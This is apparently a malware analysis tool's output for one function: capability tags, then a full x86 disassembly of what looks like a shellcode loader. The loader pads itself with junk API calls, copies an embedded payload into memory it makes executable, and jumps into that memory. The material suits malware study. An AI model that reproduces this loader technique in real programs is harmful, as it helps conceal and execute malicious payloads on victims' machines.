Function at 0x40456a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x207142
jg 0x404597
inc edi
cmp edi, 0x67d12
jl 0x40457a
cmp dword [0x281bb74], 0x93
jne 0x40468b
push 0x403f9c
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCA]
push esi
push esi
push 0x403fe8
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_CreateDCW]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetMenuState]
xor eax, eax
lock bts dword [eax], 0
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push esi
push esi
push esi
push 0x403fb4
push 0x404030
push 0x404088
call dword [sym.imp.KERNEL32.dll_ReplaceFileW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
push 0x4040dc
push esi
call fcn.00405337
push esi
call fcn.00404c14
push esi
push esi
call fcn.00405240
push esi
push esi
call fcn.0040534e
push esi
call fcn.0040578a
push esi
push esi
call fcn.00404be3
push 0xc
call fcn.00405abd
mov edi, eax
add esp, 0x2c
cmp edi, esi
je 0x40483c
mov dword [edi], edi
mov dword [edi + 4], edi
mov eax, dword [edi]
mov dword [edi], edi
mov dword [edi + 4], edi
cmp eax, edi
je 0x404684
mov ebx, dword [eax]
push eax
call fcn.0040545a
pop ecx
mov eax, ebx
cmp ebx, edi
jne 0x404675
push edi
call fcn.0040545a
pop ecx
mov eax, dword [0x42dc6c]
add dword [0x281bb74], 0x1134b
push 0x4040e0
mov dword [0x281c9b0], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x4040f0
push eax
mov dword [0x281b604], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x281bb74]
mov dword [0x281b5f8], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 8]
push ecx
push 0x40
push dword [0x281bb74]
mov dword [0x281b600], eax
push eax
call dword [0x281b5f8]
mov edi, 0x1692e
push esi
push esi
call dword [sym.imp.USER32.dll_GetComboBoxInfo]
push esi
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec edi
jne 0x4046ea
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x281bb74], esi
jbe 0x404770
mov eax, dword [0x281c9b0]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x281b600]
mov byte [ecx + edi], al
cmp dword [0x281bb74], 0x490
jne 0x404767
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push esi
call ebx
lea eax, [ebp - 4]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
inc edi
cmp edi, dword [0x281bb74]
jb 0x40471e
xor edi, edi
mov eax, dword [0x281bb74]
add eax, edi
cmp eax, 0x8d
jne 0x4047b1
push esi
lea eax, [ebp - 0x414]
push eax
push esi
push 0x404100
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuW]
push 0x404104
push 0x40411c
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
inc edi
cmp edi, 0x38681
jl 0x404772
call fcn.00404492
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x61
jne 0x4047df
mov dword [ebp - 4], esi
add dword [ebp - 4], 0x61de
mov eax, dword [ebp - 4]
add dword [0x281b600], eax
inc edi
cmp edi, 0x674bd
jl 0x4047c1
push 0x7b
pop edi
cmp dword [0x281bb74], 0x86
jne 0x404827
push esi
push esi
push esi
push esi
push esi
push esi
push 0x40413c
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapWalk]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_IsBadHugeWritePtr]
dec edi
jne 0x4047eb
push 0x404174
call ebx
call dword [0x281b600]
pop edi
pop esi
pop ebx
leave
ret
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], esi
call fcn.00404cc4
push 0x4289e8
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x14], 0x4012fc
call fcn.0040b5a6
int3